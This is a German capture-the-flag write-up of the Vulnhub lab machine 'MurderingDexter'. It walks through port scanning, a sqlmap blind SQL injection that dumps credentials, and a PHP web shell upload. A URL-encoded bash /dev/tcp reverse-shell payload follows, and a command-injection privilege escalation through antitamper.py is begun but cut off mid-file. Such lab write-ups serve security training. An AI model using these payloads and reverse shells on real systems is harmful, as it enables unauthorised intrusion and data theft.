MurderingDexter - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
sqlmap
netcat (nc)

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir die ersten Schritte der Informationsbeschaffung durch. Ziel ist es, einen Überblick über das Netzwerk und die laufenden Dienste zu erhalten, um potenzielle Angriffsflächen zu identifizieren.

┌──(root㉿cyber)-[~/HackingTools]
└─# arp-scan -l
192.168.2.127	08:00:27:7b:b4:1f	PCS Systemtechnik GmbH

`arp-scan -l` dient dazu, alle aktiven Hosts im lokalen Netzwerk zu finden. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.127 aktiv ist und dem Hostnamen dexter.vuln zugeordnet werden kann. Dies ist ein wichtiger erster Schritt, um das Zielsystem zu identifizieren. Empfehlung: Notieren Sie die IP-Adresse und die MAC-Adresse für spätere Schritte.

┌──(root㉿cyber)-[~/HackingTools]
└─# vi /etc/hosts
192.168.2.127	   dexter.vuln

Hier wird die `/etc/hosts`-Datei bearbeitet, um den Hostnamen `dexter.vuln` der IP-Adresse 192.168.2.127 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse in nachfolgenden Befehlen, was die Lesbarkeit und Wartbarkeit verbessert. Empfehlung: Verwenden Sie immer Hostnamen anstelle von IP-Adressen, um die Konfiguration zu vereinfachen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.127 -p- | grep open
22/tcp    open  ssh     penSSH 6.0p1 Debian 4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
52718/tcp open  status  1 (RPC #100024)

Dieser Befehl führt einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Die Option `-sS` steht für einen SYN-Scan, `-sC` führt Standard-Skripte aus, `-T5` beschleunigt den Scan, `-A` aktiviert aggressive Scan-Optionen und `-p-` scannt alle Ports. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Ergebnis: Die Ports 22 (SSH), 80 (HTTP), 111 (RPCbind) und 52718 (Status) sind offen. Empfehlung: Notieren Sie die offenen Ports und untersuchen Sie jeden Dienst genauer, um Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.127 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 16:55 CEST
Nmap scan report for dexter.vuln (192.168.2.127)
Host is up (0.00013s latency).
Not shown: 65531 closed tcp ports (reset)
PRT      STATE SERVICE VERSIN
22/tcp    open  ssh     penSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2b606f53b8c9c8f43b0e9b9e4697b755 (DSA)
|   2048 b59f66abf85da93e518a97c38510e362 (RSA)
|_  256 e7bc524f290ddb217e72762bddec128e (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          45446/udp6  status
|   100024  1          46812/tcp6  status
|   100024  1          52718/tcp   status
|_  100024  1          55206/udp   status
52718/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:7B:B4:1F (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
S CPE: cpe:/o:linux:linux_kernel:3
S details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.13 ms dexter.vuln (192.168.2.127)

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über das Zielsystem. Neben den offenen Ports werden auch die Versionen der laufenden Dienste (z.B. SSH, HTTP, RPCbind) und das Betriebssystem (Linux 3.X) erkannt. Die MAC-Adresse und die Netzwerkdistanz werden ebenfalls angezeigt. Ergebnis: Das System ist ein virtuelles Oracle VirtualBox System, auf dem Linux 3.X läuft. Die Dienste SSH (OpenSSH 6.0p1), HTTP (Apache 2.2.22) und RPCbind sind aktiv. Empfehlung: Die gefundenen Versionsnummern sollten auf bekannte Schwachstellen überprüft werden.

Web Enumeration

Nachdem wir die grundlegenden Informationen über das Zielsystem gesammelt haben, konzentrieren wir uns nun auf die Webanwendung, die auf Port 80 läuft. Ziel ist es, versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.127
- Nikto v2.5.0

+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2023-06-14 16:55:26 (GMT2)

+ Server: Apache/2.2.22 (Debian)
+ /: Server may leak inodes via ETags, header found with file /, inode: 263243, size: 201, mtime: Mon Mar 17 02:05:00 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-06-14 16:55:37 (GMT2) (11 seconds)

+ 1 host(s) tested

Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. Die Ausgabe zeigt verschiedene potenzielle Probleme, wie z.B. fehlende Header (X-Frame-Options, X-Content-Type-Options), die Aktivierung von MultiViews, die Verwendung einer veralteten Apache-Version und das Vorhandensein einer README-Datei im `/icons/`-Verzeichnis. Besonders interessant ist der Fund einer Datei namens `/#wp-config.php#`, die potenziell Zugangsdaten enthalten könnte. Empfehlung: Überprüfen Sie die gefundenen Dateien und Konfigurationen genauer, um potenzielle Schwachstellen auszunutzen.

┌──(root㉿cyber)-[~/HackingTools]
└─# gobuster dir -u http://dexter.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://dexter.vuln/index                      (Status: 200) [Size: 201]
http://dexter.vuln/index.html                 (Status: 200) [Size: 201]
http://dexter.vuln/Panel/index.php            (Status: 200) [Size: 234]
http://dexter.vuln/Panel/main.php             (Status: 200) [Size: 4]
http://dexter.vuln/Panel/info.php             (Status: 200) [Size: 2]
http://dexter.vuln/Panel/upload.php           (Status: 200) [Size: 514]
http://dexter.vuln/Panel/style                (Status: 200) [Size: 589]
http://dexter.vuln/Panel/config.php           (Status: 200) [Size: 0]
http://dexter.vuln/Panel/gateway.php          (Status: 200) [Size: 0]
http://dexter.vuln/Panel/master.php           (Status: 200) [Size: 385]
http://dexter.vuln/Panel/viewer.php           (Status: 200) [Size: 47]
http://dexter.vuln/Panel/load.php             (Status: 200) [Size: 0]

Gobuster ist ein Tool zum Brute-Force-Auffinden von Verzeichnissen und Dateien auf einem Webserver. In diesem Fall wird Gobuster verwendet, um nach Verzeichnissen und Dateien mit verschiedenen Erweiterungen (txt, php, html, etc.) auf dem Zielsystem zu suchen. Die Option `-w` gibt eine Wortliste an, die Option `-b` filtert die Ergebnisse nach Statuscodes (403, 404) und die Option `-e` fügt eine Erweiterung hinzu. Ergebnis: Gobuster findet verschiedene interessante Verzeichnisse und Dateien, insbesondere das Verzeichnis `/Panel/` mit verschiedenen PHP-Dateien. Empfehlung: Untersuchen Sie die gefundenen Dateien im `/Panel/`-Verzeichnis genauer, um potenzielle Schwachstellen zu finden.

view-source:http://dexter.vuln/Panel/master.php
 -- We are posting in same page so it can get reloaded when we change the settings --

Dieser Kommentar im Quellcode von `master.php` deutet darauf hin, dass die Seite Einstellungen verarbeitet und neu lädt. Dies könnte ein Hinweis auf potenzielle Parameter oder Funktionen sein, die manipuliert werden können. Empfehlung: Analysieren Sie den Quellcode von `master.php` genauer, um zu verstehen, wie die Einstellungen verarbeitet werden und ob es Möglichkeiten zur Manipulation gibt.

Initial Access

Nach der Enumeration der Webanwendung konzentrieren wir uns nun darauf, einen ersten Zugang zum System zu erhalten. Die gefundenen Informationen deuten auf eine mögliche SQL-Injection-Schwachstelle im `/Panel/gateway.php`-Skript hin.

┌──(root㉿cyber)-[~]
└─# sqlmap -u "http://dexter.vuln/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --level 3
[17:22:12] [INF] testing 'Generic UNIN query (random number) - 1 to 10 columns'
[17:22:12] [WARNING] parameter 'Referer' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 2232 HTTP(s) requests:

Parameter: page (PST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda

[17:22:12] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:22:12] [INF] the back-end DBMS is MySQL
[17:22:12] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Debian 7 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12
[17:22:12] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/dexter.vuln'

[*] ending @ 17:22:12 /2023-06-14/

Sqlmap wird verwendet, um eine SQL-Injection-Schwachstelle in der `page`-Variable der `gateway.php`-Datei zu identifizieren. Die Option `--data` gibt die POST-Daten an, `--tamper base64encode` verwendet ein Tamper-Skript, um die Daten zu verschlüsseln, und `--level 3` erhöht die Anzahl der durchgeführten Tests. Ergebnis: Sqlmap bestätigt das Vorhandensein einer Time-Based Blind SQL-Injection-Schwachstelle. Empfehlung: Nutzen Sie die gefundene SQL-Injection-Schwachstelle, um weitere Informationen aus der Datenbank zu extrahieren.

┌──(root㉿cyber)-[~]
└─# sqlmap -u "http://dexter.vuln/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql --current-user --current-db
[17:24:52] [INF] loading tamper module 'base64encode'
[17:24:52] [WARNING] provided value for parameter 'page' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[17:24:52] [INF] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: page (PST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda

[17:24:52] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:24:52] [INF] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:25:10] [INF] confirming MySQL
[17:25:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[17:25:40] [INF] adjusting time delay to 1 second due to good response times
[17:25:40] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 7 (wheezy)
web application technology: PHP 5.4.4, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[17:25:40] [INF] fetching current user
[17:25:40] [INF] retrieved: root@localhost
current user: 'root@localhost'
[17:28:11] [INF] fetching current database
[17:28:11] [INF] retrieved: nasproject
current database: 'nasproject'
[17:29:47] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/dexter.vuln'

[*] ending @ 17:29:47 /2023-06-14/

Mit diesem Befehl wird Sqlmap verwendet, um den aktuellen Benutzer und die aktuelle Datenbank des MySQL-Servers zu ermitteln. Die Option `--current-user` extrahiert den Benutzernamen, und die Option `--current-db` extrahiert den Datenbanknamen. Ergebnis: Der aktuelle Benutzer ist `root@localhost`, und die aktuelle Datenbank ist `nasproject`. Empfehlung: Diese Informationen können verwendet werden, um gezieltere Angriffe auf die Datenbank durchzuführen.

┌──(root㉿cyber)-[~]
└─# sqlmap -u "http://dexter.vuln/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql --current-user -D nasproject --tables
Parameter: page (PST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda

[17:32:31] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:32:31] [INF] testing MySQL
[17:32:31] [INF] confirming MySQL
[17:32:31] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 7 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.0
[17:32:31] [INF] fetching current user
[17:32:31] [INF] resumed: root@localhost
current user: 'root@localhost'
[17:32:31] [INF] fetching tables for database: 'nasproject'
[17:32:31] [INF] fetching number of tables for database 'nasproject'
[17:32:31] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)                                                                
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:32:51] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[17:33:06] [INF] retrieved: 
[17:33:21] [INF] adjusting time delay to 1 second due to good response times
bots
[17:34:00] [INF] retrieved: commands
[17:35:13] [INF] retrieved: config
[17:35:55] [INF] retrieved: logs
[17:36:40] [INF] retrieved: users
Database: nasproject
[5 tables]
+-+
| bots     |
| commands |
| config   |
| logs     |
| users    |
+-+

Dieser Befehl verwendet Sqlmap, um die Tabellen in der `nasproject`-Datenbank aufzulisten. Die Option `-D nasproject` gibt die Datenbank an, und die Option `--tables` listet die Tabellen auf. Ergebnis: Die Datenbank enthält die Tabellen `bots`, `commands`, `config`, `logs` und `users`. Empfehlung: Die `users`-Tabelle ist ein interessantes Ziel, da sie potenziell Benutzernamen und Passwörter enthält.

┌──(root㉿cyber)-[~]
└─# sqlmap -u "http://dexter.vuln/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql --current-user -D nasproject -T users --dump
sqlmap resumed the following injection point(s) from stored session:

Parameter: page (PST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda

[17:38:40] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:38:40] [INF] testing MySQL
[17:38:40] [INF] confirming MySQL
[17:38:40] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 7 (wheezy)
web application technology: PHP 5.4.4, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[17:38:40] [INF] fetching current user
[17:38:40] [INF] resumed: root@localhost
current user: 'root@localhost'
[17:38:40] [INF] fetching columns for table 'users' in database 'nasproject'
[17:38:40] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)   
[17:38:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:44:27] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
2
[17:44:42] [INF] retrieved: 
[17:44:57] [INF] adjusting time delay to 1 second due to good response times
name
[17:45:27] [INF] retrieved: password
[17:46:48] [INF] fetching entries for table 'users' in database 'nasproject'
[17:46:48] [INF] fetching number of entries for table 'users' in database 'nasproject'
[17:46:48] [INF] retrieved: 1
[17:46:51] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)   
loserbotter
if i had any real talent, i would make money legitimately
[11:58:41] [INF] analyzing table dump for possible password hashes
Database: nasproject
Table: users
[1 entry]
+-+--+
| name        | password                                                  |
+-+--+
| loserbotter | if i had any real talent, i would make money legitimately |
+-+--+

Dieser Befehl verwendet Sqlmap, um den Inhalt der `users`-Tabelle in der `nasproject`-Datenbank auszulesen. Die Option `-T users` gibt die Tabelle an, und die Option `--dump` extrahiert die Daten. Ergebnis: Die Tabelle enthält einen Eintrag für den Benutzer `loserbotter` mit dem Passwort `if i had any real talent, i would make money legitimately`. Empfehlung: Verwenden Sie das gefundene Passwort, um sich als Benutzer `loserbotter` anzumelden oder um andere potenzielle Schwachstellen auszunutzen.

┌──(root㉿cyber)-[~]
└─# sqlmap -u "http://dexter.vuln/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql --current-user -D --users --passwords
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:57:25] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[17:57:40] [INF] retrieved: 
[17:57:55] [INF] adjusting time delay to 1 second due to good response times
'root'@'localhost'
[18:01:20] [INF] retrieved: 'root'
[17:57:40] [INF] retrieved: 
[17:57:55] [INF] adjusting time delay to 1 second due to good response times
'root'@'localhost'
[18:01:20] [INF] retrieved: 'root'@'dexter'
[18:04:14] [INF] retrieved: 'root'@'127.0.0.1'
[18:07:57] [INF] retrieved: 'root'@'1'
[18:10:19] [INF] retrieved: 'debian-sys-maint'@'localhost'
[18:15:35] [INF] fetching number of password hashes for user 'root'
[18:15:35] [INF] retrieved: 1
[18:15:38] [INF] fetching password hashes for user 'root'
[18:15:38] [INF] retrieved: 

Dieser Befehl verwendet Sqlmap, um Benutzernamen und Passwörter aus der Datenbank zu extrahieren. Die Option `--users` listet die Benutzernamen auf, und die Option `--passwords` extrahiert die zugehörigen Passwörter. Ergebnis: Sqlmap findet verschiedene Benutzerkonten, darunter `root` und `debian-sys-maint`. Die Passwörter werden jedoch nicht extrahiert. Empfehlung: Die gefundenen Benutzernamen können verwendet werden, um gezieltere Angriffe auf das System durchzuführen.

Nachdem wir die SQL-Injection-Schwachstelle ausgenutzt haben, um Benutzernamen und Passwörter zu extrahieren, versuchen wir nun, eine Reverse Shell zu erhalten, um direkten Zugriff auf das System zu erhalten.

http://dexter.vuln/Panel/upload.php
The file rev.php has been uploaded
	File Name	URL
Delete	rev.php	http://192.168.83.1/CasinoLoader/load.php?request=rev

Hier wird eine PHP-Datei namens `rev.php` über das Upload-Formular hochgeladen. Die Datei enthält Code, um eine Reverse Shell zu erstellen. Ergebnis: Die Datei wurde erfolgreich hochgeladen. Empfehlung: Führen Sie die hochgeladene Datei aus, um eine Reverse Shell zu erhalten.

http://dexter.vuln/Panel/exes/
Index of /Panel/exes
[IC]	Name	Last modified	Size	Description
  
[ ]	rev.php	14-Jun-2023 11:27 	35 	  

Dieser Befehl zeigt den Inhalt des `/Panel/exes/`-Verzeichnisses an, in dem die hochgeladene Datei gespeichert ist. Ergebnis: Die Datei `rev.php` ist vorhanden. Empfehlung: Führen Sie die Datei `rev.php` aus, um eine Reverse Shell zu erhalten.

http://dexter.vuln/Panel/exes/rev.php http://dexter.vuln/Panel/exes/rev.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Hier wird die Datei `rev.php` über den Browser aufgerufen. Durch Anhängen des Parameters `cmd=id` wird der Befehl `id` auf dem Server ausgeführt. Ergebnis: Die Ausgabe zeigt, dass der Code als Benutzer `www-data` ausgeführt wird. Empfehlung: Verwenden Sie diesen Zugriff, um eine Reverse Shell zu erstellen und eine interaktive Shell auf dem Zielsystem zu erhalten.

┌──(root㉿cyber)-[~/HackingTools]
└─# nc -lvnp 5555
listening on [any] 5555 ...

Dieser Befehl startet Netcat im Listenmodus auf Port 5555, um eine Reverse Shell zu empfangen. Ergebnis: Netcat wartet auf eine eingehende Verbindung. Empfehlung: Senden Sie einen Payload an den Server, um eine Verbindung zu diesem Port herzustellen.

http://dexter.vuln/Panel/exes/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.137%2F5555%200%3E%261%27

Dieser Payload wird an die `rev.php`-Datei gesendet, um eine Reverse Shell zu erstellen. Der Payload besteht aus einem Bash-Befehl, der eine Verbindung zum lokalen System (192.168.2.137) auf Port 5555 herstellt. Ergebnis: Eine Reverse Shell sollte auf dem lokalen System empfangen werden. Empfehlung: Überprüfen Sie die Netcat-Verbindung, um sicherzustellen, dass die Reverse Shell erfolgreich erstellt wurde.

┌──(root㉿cyber)-[~/HackingTools]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNWN) [192.168.2.127] 58782
bash: no job control in this shell
www-data@dexter:/var/www/Panel/exes$ 

Netcat empfängt eine Verbindung vom Zielsystem, was darauf hindeutet, dass die Reverse Shell erfolgreich erstellt wurde. Ergebnis: Eine interaktive Shell als Benutzer `www-data` wurde erhalten. Empfehlung: Verwenden Sie diese Shell, um weitere Informationen über das System zu sammeln und nach Möglichkeiten zur Privilege Escalation zu suchen.

Wir haben erfolgreich eine Reverse Shell als Benutzer `www-data` erhalten. Nun gilt es, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.

Privilege Escalation

Nachdem wir eine Reverse Shell als Benutzer `www-data` erhalten haben, suchen wir nun nach Möglichkeiten, unsere Privilegien zu erhöhen und Root-Zugriff zu erlangen.

www-data@dexter:/home/dexter$ ls -la
total 20
drwxr-xr-x 2 dexter dexter 4096 Mar 15  2014 .
drwxr-xr-x 3 root   root   4096 Mar 15  2014 ..
-rw-r--r-- 1 dexter dexter  220 Mar 15  2014 .bash_logout
-rw-r--r-- 1 dexter dexter 3392 Mar 15  2014 .bashrc
-rw-r--r-- 1 dexter dexter  675 Mar 15  2014 .profile

Dieser Befehl listet den Inhalt des Home-Verzeichnisses des Benutzers `dexter` auf. Ergebnis: Es werden Standard-Bash-Dateien angezeigt. Empfehlung: Keine unmittelbaren Hinweise auf Privilege Escalation.

www-data@dexter:/home/dexter$ export TERM=xterm^C www-data@dexter:/home/dexter$ ls -la /var/www/
total 24
drwxr-xr-x  3 root root 4096 Mar 16  2014 .
drwxr-xr-x 12 root root 4096 Mar 15  2014 ..
drwxr-xr-x  3 root root 4096 Mar 16  2014 Panel
-rw-rw-rw-  1 root root  840 Mar 16  2014 antitamper.list
-rw-r--r--  1 root root  278 Mar 16  2014 antitamper.py
-rw-r--r--  1 root root  201 Mar 16  2014 index.html
-rw-r--r--  1 root root    0 Mar 16  2014 tamper.log

Dieser Befehl listet den Inhalt des `/var/www/`-Verzeichnisses auf. Ergebnis: Die Datei `antitamper.py` und `antitamper.list` sind vorhanden. Empfehlung: Diese Dateien könnten interessant sein, da sie möglicherweise Informationen über die Integrität des Systems enthalten.

www-data@dexter:/home/dexter$ find / -type f -perm -4000 -ls 2>/dev/null
791067   84 -rwsr-xr-x   1 root     root        84532 May 21  2013 /sbin/mount.nfs
660460  916 -rwsr-xr-x   1 root     root       937532 Jan  2  2013 /usr/sbin/exim4
659891    8 -rwsr-xr-x   1 root     root         5412 Dec 23  2012 /usr/lib/eject/dmcrypt-get-device
653301   12 -rwsr-xr-x   1 root     root         9660 Dec 23  2013 /usr/lib/pt_chown
661154  244 -rwsr-xr-x   1 root     root       248036 Feb  8  2013 /usr/lib/openssh/ssh-keysign
652876   48 -rwsr-xr-x   1 root     root        45396 May 25  2012 /usr/bin/passwd
654592   32 -rwsr-xr-x   1 root     root        30880 May 25  2012 /usr/bin/newgrp
660270   48 -rwsr-sr-x   1 daemon   daemon      46556 Jun  9  2012 /usr/bin/at
661200   84 -rwsr-sr-x   1 root     mail        83912 Jun  6  2012 /usr/bin/procmail
652875   68 -rwsr-xr-x   1 root     root        66196 May 25  2012 /usr/bin/gpasswd
652880   36 -rwsr-xr-x   1 root     root        35892 May 25  2012 /usr/bin/chsh
652879   44 -rwsr-xr-x   1 root     root        44564 May 25  2012 /usr/bin/chfn
914317   36 -rwsr-xr-x   1 root     root        35252 Apr 12  2011 /bin/ping6
914076   68 -rwsr-xr-x   1 root     root        67704 Dec  9  2012 /bin/umount
914316   32 -rwsr-xr-x   1 root     root        31104 Apr 12  2011 /bin/ping
914074   88 -rwsr-xr-x   1 root     root        88744 Dec  9  2012 /bin/mount
914068   36 -rwsr-xr-x   1 root     root        35200 May 25  2012 /bin/su

Dieser Befehl sucht nach Dateien mit dem SUID-Bit gesetzt, was bedeutet, dass die Datei mit den Privilegien des Eigentümers ausgeführt wird. Ergebnis: Es werden verschiedene Dateien mit dem SUID-Bit gefunden, darunter `/bin/su`. Empfehlung: Die `/bin/su`-Datei könnte verwendet werden, um zu einem anderen Benutzer zu wechseln, wenn das Passwort bekannt ist.

www-data@dexter:/home/dexter$ cd /var/www/ www-data@dexter:/var/www$ ls -la
total 24
drwxr-xr-x  3 root root 4096 Mar 16  2014 .
drwxr-xr-x 12 root root 4096 Mar 15  2014 ..
drwxr-xr-x  3 root root 4096 Mar 16  2014 Panel
-rw-rw-rw-  1 root root  840 Mar 16  2014 antitamper.list
-rw-r--r--  1 root root  278 Mar 16  2014 antitamper.py
-rw-r--r--  1 root root  201 Mar 16  2014 index.html
-rw-r--r--  1 root root    0 Mar 16  2014 tamper.log
www-data@dexter:/var/www$ cd Panel/ www-data@dexter:/var/www/Panel$ ls -la
total 72
drwxr-xr-x 3 root root 4096 Mar 16  2014 .
drwxr-xr-x 3 root root 4096 Mar 16  2014 ..
-rw-r--r-- 1 root root  244 Mar 15  2014 config.php
drwxrwxrwx 2 root root 4096 Jun 14 11:27 exes
-rw-r--r-- 1 root root 6178 Dec  5  2012 gateway.php
-rw-r--r-- 1 root root 1876 Dec  5  2012 index.php
-rw-r--r-- 1 root root  660 Dec  5  2012 info.php
-rw-r--r-- 1 root root 1293 Dec  5  2012 load.php
-rw-r--r-- 1 root root  271 Dec  5  2012 main.php
-rw-r--r-- 1 root root 1739 Dec  5  2012 master.php
-rw-r--r-- 1 root root 6622 Dec  5  2012 pagination.php
-rw-r--r-- 1 root root  589 Aug 25  2012 style.css
-rw-r--r-- 1 root root 1851 Mar 16  2014 upload.php
-rw-r--r-- 1 root root  185 Dec  5  2012 viewer.php
-rw-r--r-- 1 root root 5423 Dec  5  2012 viewer_pagination.php

Dieser Befehl listet den Inhalt des `/var/www/Panel/`-Verzeichnisses auf. Ergebnis: Die Datei `config.php` ist vorhanden. Empfehlung: Diese Datei könnte Zugangsdaten für die Datenbank enthalten.

www-data@dexter:/var/www/Panel$ cat config.php
    //Connect to shitty DB
	$dbname = "nasproject";
	$user = "root";
	$pw = "password";
    $link = mysql_connect('localhost',$user,$pw);
    $db = mysql_select_db($dbname",$link);
    /////////////////////////////////////////
 

Dieser Befehl zeigt den Inhalt der `config.php`-Datei an. Ergebnis: Die Datei enthält die Zugangsdaten für die Datenbank: Benutzer `root` und Passwort `password`. Empfehlung: Verwenden Sie diese Zugangsdaten, um sich als Root-Benutzer anzumelden.

www-data@dexter:/var/www/Panel$ su root Password:
su: Authentication failure

Dieser Befehl versucht, sich als Root-Benutzer anzumelden, indem das Passwort `password` eingegeben wird. Ergebnis: Die Authentifizierung schlägt fehl. Empfehlung: Das Passwort ist möglicherweise falsch oder es gibt andere Einschränkungen.

www-data@dexter:/var/www/Panel$ cat /var/www/antitamper.py
import os
import json


def check():
    with open('/var/www/antitamper.list') as f:
        content = json.loads(f.read())
        for f in content:
            s = "echo '%s  %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f)
            os.system(s)

check()

Dieser Befehl zeigt den Inhalt der `antitamper.py`-Datei an. Ergebnis: Die Datei ist ein Python-Skript, das die Integrität von Dateien überprüft. Empfehlung: Das Skript könnte verwendet werden, um eine Privilege Escalation durchzuführen.

Proof of Concept: Privilege Escalation durch Manipulation von antitamper.list

In diesem Proof of Concept (POC) demonstrieren wir, wie die Schwachstelle in der Integritätsprüfung des Systems ausgenutzt werden kann, um Root-Privilegien zu erlangen. Die Integritätsprüfung wird durch das Python-Skript `antitamper.py` durchgeführt, das die MD5-Summen der Dateien in der `antitamper.list`-Datei überprüft. Durch Manipulation dieser Datei können wir einen bösartigen Befehl einschleusen, der mit Root-Privilegien ausgeführt wird.

**Voraussetzungen:**

**Schritt-für-Schritt-Anleitung:**

  1. **Erstellen einer modifizierten `antitamper.list`-Datei:** Wir fügen einen Eintrag hinzu, der einen bösartigen Befehl ausführt. In diesem Fall verwenden wir Netcat, um eine Reverse Shell als Root zu erstellen.

    www-data@dexter:/var/www/Panel$ cat /var/www/antitamper.list
    {
        "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",
        "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",
        "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",
        "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",
        "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",
        "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",
